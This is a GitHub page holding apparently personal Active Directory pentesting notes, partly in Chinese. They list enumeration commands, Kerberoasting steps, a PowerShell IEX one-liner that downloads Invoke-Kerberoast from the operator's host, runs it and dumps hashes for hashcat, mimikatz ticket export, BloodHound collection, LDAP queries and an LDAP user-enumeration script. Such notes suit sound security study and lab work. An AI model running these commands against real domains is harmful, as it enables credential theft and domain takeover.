Skip to content

Latest commit

 

History

History
116 lines (107 loc) · 4.55 KB

AD_note.md

File metadata and controls

116 lines (107 loc) · 4.55 KB

AD

Common command

  • List user
    • net user Machine
    • net user /domain AD
    • net user {Username} /domain list user detail
  • List group
    • net group
    • net group /domain

Kerberoasting

  • Get User Hash
  • nidem/kerberoast
  • Invoke-Kerberoast.ps1
    PS > Import-Module .\Invoke-Kerberoast.ps1
    PS > Invoke-Kerberoast -OutputFormat Hashcat
    
    • 然後拿去用 hashcat 爆
    • 或一氣呵成的
    powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('http://{MY_IP}/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt"
    
    • hashcat -m 13100
    • 或是 mimikatz 的 kerberos::list /export 可以把 ticket dump 出來,然後 python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt <ticket filename> 爆破
  • GetUserSPNs
    GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
    
  • setspn –q */*
  • ref

BloodHound

  • BloodHound
  • 挖 AD 中的關係
  • Use SharpHound to collect data on target machine
    • ./SharpHound.exe --collectionmethods All
  • Run bloodhound server
    • 先啟動 neo4j
      • sudo neo4j console
      • 第一次需要設帳密
    • 跑 bloodhound
      • bloodhound
    • Upload Data
      • 上傳用 SharHound 拿到的東西

LDAP

  • nmap -n -sV -p389 --script "ldap* and not brute" 10.10.10.175
  • ldapsearch -x -H LDAP://10.10.10.182 -s base namingcontexts
  • ldapsearch -H LDAP://10.10.10.182 -x -b "DC=cascade,DC=local"

Powerview

ASREPRoast

Powershell script to enumerate all users

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    } 
    Write-Host "------------------------"
}

必要時可以加 fillter $Searcher.filter="name=Jeff_Admin"

Zerologon (CVE-2020-1472)

Other